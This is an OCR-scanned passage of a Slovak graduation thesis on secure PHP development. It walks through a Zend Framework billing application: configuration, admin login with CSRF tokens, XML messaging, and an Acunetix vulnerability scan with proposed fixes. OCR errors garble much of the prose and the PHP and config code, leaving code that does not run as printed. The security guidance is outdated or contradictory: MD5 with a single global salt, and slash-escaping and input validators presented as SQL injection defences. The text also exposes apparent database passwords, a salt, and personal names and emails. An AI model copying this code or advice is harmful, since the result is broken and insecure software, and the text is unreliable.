Z toho je zrggmé, Ze v aplikacii mame samostatné adresér application, library a public.
V adreséri application mame pre stbory configs, controllers, fonts, forms, models a views.
Obréazky, javascript a CSS subory si uloZzené vo vlastnych adresaroch podadresara public
takisto ako stbory aplikécie CRON. Kniznice Zend Frameworku si uloZené v podadresari
adreséra library. Pri vytvarani vlastnych tried, budeme tieto takisto umiestiiovat’ do tohto

adresdra.

5.1.2 Konfiguracia Zend Frameworku

Ak chceme pouZivat' triedu Zend Db _Adapter Pdo Mysqgl, musime jg povedat’,
ktord databdzu méa pouzivat spolu s pouzivatel'skym menom a hedom. Nakolko
nepreferujeme tieto Udaje natvrdo zapisat’” do aplikécie, pouZijeme konfiguracny subor,
ktorom budu tieto Udaje zapisané [6].

Zend Framework poskytuje triedu Zend_Config, ktora poskytuije flexibilny,

objektovo orientovany pristup ku konfiguraénym stiborom. Konfiguracia méze byt’ ulozena
vo forméte XML aebo INI. My pouZijeme forméat INI .
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Obsah stiboru application.ini (biling/application/configs/application.ini):

1 [production]

2 phpSettings.display_startup_errors =0

3 phpSettings.display_errors =0

4 includePaths.library = APPLICATION_PATH "/../library"
5 includePaths.module = APPLICATION_PATH

6 includePaths.form = APPLICATION_PATH "/forms"

7 includePaths.controller = APPLICATION_PATH "/controllers"
8 bootstrap.path = APPLICATION_PATH "/Bootstrap.php"
9 bootstrap.class = "Bootstrap”

10  resources.frontController.controllerDirectory = APPLICATION_PATH "/controllers"
11

12 resources.db.adapter =PDO_MYSQL

13 resources.db.params.host = localhost

14 resources.db.params.username = pixelssk_hilling

15  resources.db.params.password = pi5vohk87ds6x8sx3ls
16  resources.db.params.dbname = pixelssk_billing

17  resources.db.params.charset = UTF8

18 resources.db.isDefaultTableAdapter = true

19  resources.session.namespace= "SecureLogin”

20 auth.active=on

21  auth.timeout= 60

22 password.salt="df7hsKJ3284sdhfj33BC"

23

24 [staging : production]

25

26  [testing : production]

27  phpSettings.display_startup_errors =1

28  phpSettings.display_errors =1

29

30 [development : production]

31 phpSettings.display_startup_errors =1

32  phpSettings.display_errors = 1

Pouzitie triedy Zend_Config je vel'mi jednoduché:

$config = new Zend_Config_Ini(application.ini ', 'section’);

Vamnite s, Ze v tomto pripade Zend Config natita jednu sekciu z INI stboru, nie
v&etky sekcie (ale v3etky sekcie je mozné natitat’ na Zelanie). Podporuje notéciu v ndzve
sekcie aby umoZiovala ntitavanie dodato¢nych sekcii. Trieda Zend Config_Ini okrem
toho povazuje bodku v nazvoch parametrov za hierarchicky oddel'ovac, aby ste tak mohli

zoskupovat’ podobné konfiguracné parametre [6].
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V naSom subore budl parametre host, usermane, password, dbname, charset a

isDefaultTableAdapter - parametre zoskupené do $config->db->resources.

Nakolko vtomto sibore uchovavame citlivé déa je vhodné ich ochrénit’ proti
neopréavnenému  pristupu. Jednoduchym riecenim je umiestnenie suboru .htaccess

konfigura¢ného stboru servra s obsahom uvedenym niZSie do adreséra configs.

1 <filesapplication.ini>
2 order deny,allow

3 deny fromall

4  <[files>

5.2 Administraéna ¢ast’ billingu
Administrativna ¢ast’ systému billing umoznuje administratorovi tieto funkcénosti a

moznosti nastavenia faktar a zékaznikov v systéme. Ide o:

1. Prehrad zékaznikov

2. Editéciu udgjov zakaznika

3. Prehrad faktar

4. Prehlad produktov

5. Ododanie faktury na email vo formate DPF

6. Udelenie zl'avy na polozku

7. Ukoncenie platnosti produktu uzivatel'a

8. Ukoncenie platnosti konta uzivatel'a
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Bi”ing werzia: 1.0, created by 15

Customers | Invoices

E-mail: *
Passward: *

Obr. 14. Formular na vstup do administracie

5.2.1 Autentifikacia Sales managera

Pristup k administracii mé iba manager ktory je zapisany v tabul'ke sales manager.
Prihlasenie zabezpecuje trieda Auth.

Hesla managerov st pre ich ochranu ukladané v MD5 () haSovace) funkcii. Nakolko
je de uz vdnedng dobe bezné, aby sa uloZzené hedo v MD5 invertovalo na citatel'na
hodnotu & pomocou online nastrojov (napr. skaste tuto webovl stranku

http://md5.rednoize.conV), je vhodné pouZit za Gcelom zlepSenia bezpetnosti nejaky

spbsob, ako efektivne predist’ slovnikovym utokom. Jeden z efektivnych spdsobov je podra
[2] pre kazdé ukladané hedo generovat’ ndhodny refazec - tzv. Sdlt, ktory pripojime ku
heslu a az potom vytvorime hash z celého takto vzniknutého refazca. Utocnik by musel
pregenerovat’ tabul'ku hashov pre kazdy ciel'ovy salt, aby mohol pouZit’ lovnikovy pristup
na jeho spétné ziskanie. Tym sa jeho snaha vyrazne, priam aZz kategoricky, ¢asovo

skomplikuje.

NaSa praca s hedom je viak nadae velmi jednoduchd Natitame salt uloZeny
v konfiguratnom stbore, spojime s hesom, vytvorime hash a ten porovname s hashom

uloZzenym v databaze. Ak sa oba ret'azce zhoduju, pouzivatel’ zadal spravane heslo.
Prihlasovaci formular je umiestneny v billing/application/formg/login.php. PouZity bol

Zend_Form_Element_Hash trieda Zend Frameworku na zabezpecenie proti itokom CSRF.

SetSalt metédou dodo k zvySeniu bezpetnosti s pseudo-nahodnymi hodnotami ziskané


http://md5.rednoize.com/)
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pomocou funkcie MD5 (unigid (rand (), TRUE)) a setTimeout bol nastaveny Time To Live
(TTL) pre token (hodnota timeout bola zadefinovana do application.ini).

1 ..

2 $token = new Zend Form Element Hash('token');

3 $token->setSalt(md5(unigid(rand(), TRUE)));
$token->setTimeout(Globals. : getConfig()->authentication-

4 >timeout);
5 $this->addElement($token);
6 ..

Stakouto skrytou hodnotou token, vioZzeného do formuldra sme s isti, Ze Udaje POST
pochadzaju z nadg) strénky a nie z iného zdroja.

1

2 public function loginAction() {

3 $flash = $this->_helper->getHelper(‘flashMessenger");
4 if ($flash->hasMessages()) {

5 $this->view->message = $flash->getMessages();
6 }

7 $this->view->form= new Forms_Login();

8 $this->render('login’);

9 }

10

11 public function submitAction() {

12 $form=new Forms_Login();

13 if ('$form->isValid($_POST)) {

14 if (count($form->getErrors(‘token")) > 0) {

15 return $this->_forward('csrf-forbidden’, 'error’);
16 }else{

17 $this->view->form = $form;

18 return $this->render(‘login’);

19 }

20 }

21 $email= $this->getRequest()->getPost(‘email');

22 $password= $this->getRequest()->getPost('password");
23 $authAdapter = new Zend_Auth_Adapter_DbTable(
24 Globals::getDbConnection(),

25 sales_manager’,

26 email’,

27 ‘password’,

28 MD5(CONCAT(salt,?))

29 );

30 $authAdapter->setldentity($email)

31 ->setCredential($password);
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32 $result= $authAdapter->authenticate();

33 Zend_Session::regenerateld();

34 if ('$result->isValid()) {

35 $this->_helper->flashMessenger->addMessage("'Chyba pri overovani.");
36 $this->_redirect('/index/login’);

37 }else{

38 Globals::getSession()->email= $result->getldentity();
39 Zend_Loader::loadClass(‘sales_manager');

40 $sales_manager= new sales_manager();

41 $data= array ('last_access' => date('Y-m-d H:i:s"));
42 $where= $sales_manager->getAdapter()->quotelnto(‘email = ?', Globals::getSession()->email);
43 }

44 $this->_redirect('/home’);

45 }

46 }

47

Prihlasovaci formulér bol postaveny v loginAction (riadok 7).

Udaje z prihlasovacie stranky sa predkladaji v submitAction metode. V tejto akcii
budeme kontrolovat’ validéciu formuléra (riadok 13). Ak je problém na token data znamena
to, Ze sme pod Utokom CSRF, takZze mbzeme presmerovat’ na konkrétnu chybovu stranku
CSRF-forbidden. CSRF-forbidden stranka poskytuje 403 Forbidden hodnotu, aby sa

zabréanilo, Ze poSeme déta z formulara neopréavnenému uzivatelovi.

Pre overenie uzivatela je pouZity Zend Auth Adapter DbTable (riadok 23).
Sledujeme autorizaciu pomocou MD5 z heda (MD5(?), kde ? je $password).

Ak je uzivatel’ overeny budeme presmerovany na Uvodnu stranku (riadky 38-44).

Ak nie je uzivatel’ overeny bude presmerovany na prihlasovaciu stranku s chybovym

hlasenim 'Chyba pri overovani.'.

Vamnime s, ze sa generuje session id pomocou Zend Session:: regenerateld () pri
prinléseni (riadok 33) aodstrani sa pocas odhldsenia (riadok 25 z logoutAction v
HomeController) a to z bezpecnostnych dévodov s cie’om zmiernit' moznost’ napadnutia
session fixacie.

Vzhradom k tomu, Ze sme pouZili triedu Zend_Db a Ze sme pouZili v tejto aplikécii
oSetrenie samostatnych apostrofou pridavanim lomitok, zabranili sme pripadnému SQL

Injection [6].
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Okrem toho sme pouZili validator Zend Form, na filtrovanie vstupnych hodnot
uzivatel'ského mena a heda (addVaidators metdéda v triede Forms_Login).

Po overeni administrétora sa zobrazi ivodné okno (obr. 15), ktoré obsahuje zoznam

zékaznikov s moznost'ou vyhl'adavania podla zvoleného kritéria.

Bi”ing verziai 1,0, created by 15 Logout (Jan Sladek)

Customers | Inwoices

Searchl Ilastname ;I send
Customer Company name Products Invoices E-Mail Action
alojz Slahatka Mapoj a.s. shiow show sladek@pixels, sk, edit | stop
Peter Mokyy Jazero 5.r.o. show show johnys@azet. sk, edit | stop

Obr. 15. Uvodna obrazovka administracného rozhrania

5.2.2 Zoznam faktur

V menu invoices je kompletny zoznam vsetkych faktar (obr. 16), spolu zo
zobrazenim stavu platby aje mozné tieto detailne pozriet’ alebo znova podat’ na emalil

z&kaznika. V pripade dobropisovanie je tento takisto moZné zobrazit aebo podat’

z&kaznikovi.
Search last name ;I send

Customer Company Invoice date Maturity Price Status Action
Alojz Slahatka Mapoj a.5. 25.05.2010  09.06,2010 -72.22 EUR dobropis  show | send
Peter Mokry Jazero s.r.0. 19.05.2010  03.06.2010 4.5 EUR unpaid show | send
Peter Mokry Jazero s.r.o. 19.05.2010  03.06.2010 4.5 ELUR unpaid Sshiow | send
Peter Mokry Jazero s.r.o. 19.05.2010  03.06.2010 4.5 ELUR unpaid :sm | send
Peter Mokry Jazero s.r.o. 19.05.2010  03.06.2010 4.5 EUR unpaid shiow | send
Peter Mokry Jazero s.r.0. 19.05.2010  03.06.2010 4.5 EUR unpaid shgi\l_.l'%cll
Peter Mokry Jazero s.r.0. 19,05,2010  03.08.2010 4,5 EUR unpaid shrc@ | send
Peter Mokry Jazero s.r.0. 19.05,2010  03.06,2010 4,5 EUR unpaid shdﬁ__l send
Peter Mokry Jazero s.r.0. 18.05.2010  02.06,2010 4,5 EUR unpaiﬂ show | send
Peter Mokry Jazero s.r.0. 15.05,2010  30.05.2010 4,5 EUR paid show | send
Alojz Slahatka Mapoj a.5. 15.05,2010  30.,05.2010 7S EUR paid show | send
Peter Mokry Jazero s.r.o, 15.05,2010  30.05.2010 45EUR : paid show | send
Peter Mokry Jazero s.r.o. 15.05,2010  30.05.2010 4. SEUR & (5 paid show | send

Obr. 16. Zoznam faktur
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5.2.3 Zoznam produktov

V zozname z&kaznikov je moznost zobrazenia produktov zékaznika cez odkaz
products — show. Nachédza sa tam zoznam produktov, ktoré méa dany zakaznik objednany
(obr. 17), spolu zo zobrazenim ceny za produkt, pripadne udelend zlavu. Je mozné pre
tento produkt ukongit’ platnost’ ¢im sa vygeneruje dobropis a je mozné zostatkova hodnotu

nevyuzitej duzby s ktorou je zékaznik nespokojny vrétit' zakaznikovi.

V zorovy dobropis je mozné vidiet’ v prilohe P V1.

Customers | Invoices

Product Application From date To date Price Action price Action

basic Terkur sk 15.05.2010  15.08.2010 75 ELR edit | stop

Obr. 177. Zoznam produktov

5.2.4 Vytvorenie a spracovanie spravy externou aplikaciou
Externa aplikacia mé vytvoreny datdbazovy connect cez DB_adapter na databézu
Billingu:

1 $db_billing =new Zend_Db_Adapter_Pdo_Mysqgl(array(
2 'host' =>"localhost’,
3 ‘username’ => "pixelssk_hilling’,
4 '‘password' => 'pixels’,
5 ‘dbname’ =>'pixelssk_billing',
'driver_options' => array(PDO::MYSQL_ATTR_INIT_COMMAND =>'SET NAMES
\'utf8\")

);

~N O

Po UspeSnom zaregistrovani zékaznika a overeni registratnych Udajov v externej
aplikéacii je zavolana trieda MessageController z billing aplikécie, ktord vlioZi pomocou
funkcie prepareMessage XML zaznam do tabulky message queue. Nadedne je tao
informécia spracovana funkciou processMessage, ktora zaradi v3etky déta do prislusnych
tabuliek billing systému.

87 MessageController::prepareMessage($db_billing, 'INSERT', $cust, $postAddr, $hillAddr, $products);
88 MessageController::processMessage($db_billing);
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525 XML formét spravy externg aplikéacie

Generovany XML kod ktory sa uklada do databézy billingu tabulky message queue ma

tato Struktdru:

1 <?xmlversion="1.0" encoding="UTF-8"?>

2 <MESSAGE>

3 <ACTION>INSERT</ACTION>

4 <CUSTOMER>

5 <customerlID>1</customerID>

6 <firstName>Alojz</firstName>

7 <lastName>Slaha¢ka</lastName>

8 <companyName>Napoj a.s.</companyName>
9 <ico>111111111</ico>

10 <telephoneNumber>908123123</telephoneNumber>
11 <email>sladek@pixels.sk</email>

12 </CUSTOMER>

13 <POST_ADDRESS>

14 <addressID>1</addressID>

15 <street>Svermova</street>

16 <streetNo>21</streetNo>

17 <town>Tren¢in</town>

18 <psc>91101</psc>

19 <country>Slovenska republika</country>
20 <addressType>post</addressType>

21 <customerlD>1</customeriD>

22 </POST_ADDRESS>

23 <BILL_ADDRESS>

24 <billStreet>Nabrezna</billStreet>

25 <billStreetNo>23</hillStreetNo>

26 <billTown>Trenc¢in</billTown>

27 <billPsc>91101</billPsc>

28 <billCountry>Slovenska republika</billCountry>
29 </BILL_ADDRESS>

30 <PRODUCTS>

31 <user_prod_id>1</user_prod_id>

32 <prod_id>1</prod_id>

33 <billingPeriod>3</billingPeriod>

34 <from_date>2010-05-15</from_date>
35 <to_date>2010-08-15</to_date>

36 <customerlD>1</customerID>

37 <name>basic</name>

38 <price>25</price>

39 <currency>EUR</currency>

40 <applicationlD>2</applicationID>

41 </PRODUCTS></MESSAGE>


mailto:<email>sladek@pixels.sk</email>
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5.3 Testovanie aplikacie programom ACUNETI X

Po ukonceni vyvoja aplikéacie a overeni funkeénosti je vhodné otestovat’ aplikéciu na
bezpecnostné nedostatky nejakym sofistikovanym néstrojom ktory simuluje automatizované

Utoky a poskytuje reporty o v3etkych zranitel’nych oblastiach.

My sme sa rozhodli vzhladom k dobrej uZivatel'skej podpore a user-friendly

prostrediu pouzit’ program ACUNETIX ktory sme popisali v ¢asti 2.7.1 tejto prace.

Nakorko k vyvyjang aplikécii bude mat’ pristup len mala skupina I'udi bolo doleZité

preverit’ a zabezpecit’ overovanie indentity managera.

5.3.1 Vydedok kontroly

Kontrola programom ACUNETIX cez HTTP protokol port 80 po 2 hodinach
odhalila 1 zavaznu, 1 vaznu, 3 meng vézne a 1 informacnu hrozbu ktoré s teraz popiSeme

a navrhneme postup ich odstranenia.

1"; Vulnerability Information

#: Threat Level

™ acunetix threat level Acunetix Threat Level 3
Cne or mare high-severity type vulnerahbilities have been
Level 3: High discovered by the scanner. A malicious user can exploit these

. uinerabiliies and compromise the backend database andfor

deface your wehsite,

# Alerts Found

Total alerts found 22
@ High 5 R
@ Medium : R
@ Low 14 I
@ Informational 1
. J/

Obr. 18. VWydedok kontroly

5.3.2 SSL 2.0 deprecated protocol

Vzdideng spravy Sifruje prevadzky pomocou staregj zastarané protokolu sa znamymi
dabinami. Utoénik mbze byt schopny vyuzivat' tieto zdeZitosti na man-in-the-middle Gtoky,

alebo desSifrovat’ komunikéciu medzi sluzbou a klientom.

RieSenie je zakézat’ SSL 2.0 a pouzit’ protokol SSL 3.0 alebo TLS 1.0.
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5.3.3 Chyba SQL Injection

V &yroch vstupnych poliach formuldra pre zmenu informécii o uZivatel'och
(/Customer/update/customer/) boli ngjdené SQL injection zranitel'nosti vstupnych poli ato :
email, town, street atelephone number. Ak by bola tato aplikécia urcend vaSemu
mnozstvu neoverenych uZivatelov boli by tieto vstupné déta vaznou bezpetnostnou

hrozbou aplikécie.

V tychto poliach bola pouzitd nedostatoéna kontrola vstupnych hodnét a to
vaidacnou kniZznicou Zend frameworku notEmpty. To by v pripade verginého nasadenia

umoziovalo vkladat' prikazy SQL injection.
RieSenim je zmenit’ riadky 4 na uvedenych koddoch na prisludny spdsob validécie.

Pévodny kéd bol ->addValidator(‘'notEmpty’, true, array(‘messages'=>'Value is required'))

Vstupné pole email

1 $email = $this->createElement(‘text’,'email’);

2 $email->setLabel ('E-mail ')

3 ->setRequired(true)

4 ->addValidator(‘EmailAddress’, true, array(‘messages'=>'Value is required"))
5 ->setOptions(array(‘class'=>"master"))

6 ->setDecorators($this->elementDecorators);

Vstupné poletown

1 $town = $this->createElement(‘text’,'town’);

2 $town->setLabel('Town")

3 ->setRequired(true)

4 ->addValidator('Alpha’, false, array(‘allowWhiteSpace' => true))
5 ->setOptions(array(‘class'=>"master"))

6 ->setDecorators($this->elementDecorators);

Vstupné pole street

1  $street = $this->createElement(‘text’,'street’);

2 $street->setLabel('Street ')

3 ->setRequired(true)

4 ->addValidator(‘Alpha’, false, array(‘allowWhiteSpace' => true))
5 ->setOptions(array(‘class'=>"master"))
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6 ->setDecorators($this->elementDecorators);

Vstupné pole telephoneNumber

1 $telephoneNumber = $this->createElement(‘text’,'telephoneNumber’);

2 $telephoneNumber->setLabel('Telephone *)

3 ->setRequired(true)

4 ->addValidator('digits', false, array('allowWhiteSpace' => true))
5 ->setOptions(array(‘class'=>"master"))

6 ->setDecorators($this->elementDecorators);

5.34 ApacheMod SSL chyba prete¢enia vyrovnavace] pamate

Chyba buffer overflow bola hldsena v Apache modul mod_sdl. Tento problém by mal
S ngjvacsou pravdepodobnostou odmietnutie sluzby, ale ako trigger by mohol teoreticky

umoZnit’ spustenie 'ubovol’ného kodu.

RieSenie je upgradovat’ mod_ssl na apache servri naverziu 2.8.17 a vysSu.

5.3.5 ApacheMod SSL chyba log funkcie formétu ret'azca

Zranitel'nost’ formétu refazca bola ngdend v mod_sd verziiach starSich ako 2.8.19.
Uspedné vyuzitie tento problému by s najvasSou pravdepodobnostou mohol Gtoénikovi

umoZnit” spustenie 'ubovol’ného kodu na napadnutom pocitaci.

RieSenie je upgradovat’ mod_ssl na apache servri naverziu 2.8.19 a vysSu.

5.3.6 Pristup k adresarom

V&etky adresére ktoré by mohli obsahovat’ citlivé Udaje by mali byt’ chréanené proti
ndhodnému aebo cielenému prehliadaniu.  Jednoduchym spdsobom je pouZit' stbor

.htaccess.
1 <files>
2 order deny,allow
3 deny fromall
4  <[files>
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5.3.7 Chyba autocomplete input

Ked je doposial’ nezadavané meno a heslo zadané do formulara, prehliada¢ sa spyta,
¢i hedo by malo byt uloZené. Pri nadedujlcej ndv&teve webstranky a zobrazeni formulara,
sl meno a heslo automaticky vyplnené. Utoénik s miestnym pristupom moze ziskat' heslo z

cache prehliadaca.

Heso Autocomplete by ma byt v citlivych aplikéciach zakézané. Ak chceme

zakézat’ automatické dokoncovanie, mbzete pouzit’ vo formuléri kéd podobny tomuto:

<I NPUT TYPE="password" AUTOCOVPLETE="of f">
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6 SUHRN

Uspedne sme ukonéili vyvoj fakturainého systému ktory ma za Glohu spracovavat
aevidovat fakturacné informacie na zaklade sprév externych aplikéacii. Na vytvorenom
systéme je zretel'né, Ze pred samotnou realizaciou aplikécie je jg navrhnutie v jazyku UML
vel'mi prospedné. Ziskanym prehl'adom o jednotlivych triedach a Zivotnom cykle aplikécie
ako g pohrade na databazovu &ruktiru sme zéroven vypracovali zakladn( dokumentéciu
systému. Ak by bolo potrebné v budicnosti aplikéciu negjakym spésobom rozsirit', alebo
rieSit” vzniknuté nedostatky budeme mat’ k dispozicii uceleny pohl'ad na aplikaciu.

Navrh v jazku UML pozostava z:
1. definicie funkénych a nefunkeénych poZiadaviek
2. diagramu pripadu pouZitia a konkrétnych scenérov
3. andlityckého diagramu tried
4. redizacie sekven¢ného diagramu prijatia spravy (GetMessage)
5. redlizécie sekvenéného diagramu administratora (GUI)
6. databdzovej Struktiry

Navrhnuty systém vjazyku UML je nadedne implementovany v jazyku PHP
spomocou ZEND Frameworku do vysledng) aplikécie. Jednotlivé triedy si uloZene

v priecinku library ako samostatné stibory.

V administracii billing systému je mozné spravovat’ zaevidované faktary zakaznikov

externych aplikécii. Administrécia faktar obsahuje nasledovné ¢asti:
1. prehrad zékaznikov
2. prehrad faktar
3. prehlad produktov
4. editacia idajov zékaznika
5. udel'ovanie zliav na vystavené polozky

6. stopnutie uhradengj faktury
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Systém spliuje vacSinu bezpecnostnych poziadaviek popisanych v teoretickeg casti.
Praca s databazou je rieSend prostrednictom Zend Frameworku, vd’aka ktorému st o3etrené

viaceré bezpecnostné nedostatky ako napriklad:

MD5 + salt na hed& ulozené v databéaze;

pseudo-nadhodnymi hodnotami ktoré si generované vo formuldroch proti
CSRF utokom;

timeout of the token validity to improve the security of the login system;
regeneréciou session | D pre znemoZnenie moznosti session fixation Utokov;
presmerovanie na 403 Forbidden stranku ako prevencia CSRF Gtokov;

Zend_DB pre o3etrenie samostatnych apostrofou pridavani lomitok ako
ochrana proti utokom SQL I njection;
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ZAVER
Ciel'om tejto diplomove préce bolo popisat’ zaklady bezpecného pisania aplikacii
v jazyku PHP a ndvrh vzorove aplikécie v jazyku UML.

SnaZil som sa popisat’ vSetky podstatné bezpe¢nostné rizika, ktoré sa v sticasnosti
v tgjto oblasti vyskytuju. Této praca nepojednava detailne o jednotlivych bezpecnostnych
problémoch, ae verim, Ze mbZe byt dobrym sprievodcom pre zacingjiiceho programétora.
Aby citatel’ ziskal uceleny pohl'ad na problematiku vyvoja softwaru, boli do tejto préace
zahrnuté g zéklady vyvojav UML. Takyto navrh systému v jazyku UML je velmi doleZity
a Setri néklady spojené s vyvojom.

Praca obsahuje praktickl ¢ast’ v ktorg) som sa zamera na vyvoj fakturatného
systému od Uplneho pociatku. Vyvoj zahriiuje navrh v jazyku UML, tvorbu databdzove)
Struktdry a samotnl implementéciu v jazyku PHP. V&etky diagramy UML ako g zdrojové
stbory aplikacie st prilozené v elektronickej podobe.



UTB ve Zliné, Fakulta aplikované informatiky, 2010 62

ZAVER V ANGLICTINE

The goa of this graduation thesis was to describe the basics of developing secure
applications in PHP language and designing the model application in UML.

| tried to describe all significant security risks that currently exist in this area. This
work does not deal in detail on various security issues, but | believe that this may be a good
guide for the novice programmer. To obtain the reader a comprehensive view on the issue
of software development, this work included the basics development foundations in UML.
This system design in UML is very important and saves costs associated with the

development.

The work includes a practical part in which | focused on the development of billing
system at the very outset. The development includes the model design the UML, the
creation of database structure and actual implementation in PHP language. All UML

diagrams as well as the application source files are attached in electronic form.
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Obr. & — Obrazok ¢ido
Tab. ¢. — Tabul’ka ¢ido

DOM (Document Object Model) - Sposob pristupu k XML alebo HTML dokumentu,
kazda entita v dokumente je reprezentovana jednym uzlom v stromovej Struktire.

GUI (Grafic User Interface) — grafické pouzivatel'ské rozhranie
HTML (HyperText Markup Language) - Znatkovaci jazyk pre hypertext.

HTTP — (Hypertext Transfer Protocol) - internetovy protokol uré¢eny pdévodne pre
vymenu hypertextovych dokumentov vo forméte HTML.

AJAX (Asynchronous JavaScript and XML) - Je vSeobecné oznacenie pre technologie
vyvoja interaktivnych webovych aplikécii, ktoré menia obsah svojich strénok bez
nutnosti ich znovunacitania

Java - objektovo orientovany programovaci jazyk, ktory vyvinula firma Sun
Microsystems.

PDF - Portable Document Format je stborovy formét, ktory vyvinula firma Adobe na
ukladanie dokumentov nezévide na softveéri a hardvéri, na ktorom boli vytvorené.

MV C (Model-View-Controler) - Architektonicky navrhovy vzor oddelujlci déta,
prezentéciu a biznis logiku.

W3C (World Wide Web Consortium) - Konzorcium, ktoré vyvija spolupracujlice
technoldgie, Specifikacie, prirucky, softvér a néstroje, ktoré vedu k zlepSovaniu internetu.

XML (eXtensible Markup Language) - vel'mi jednoduchy a flexibilny znackovaci jazyk.

XML Schema - Jazyk vyvijany W3C konzorciom na popis truktiry XML dokumentov.
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K hrade e, 75 EUR
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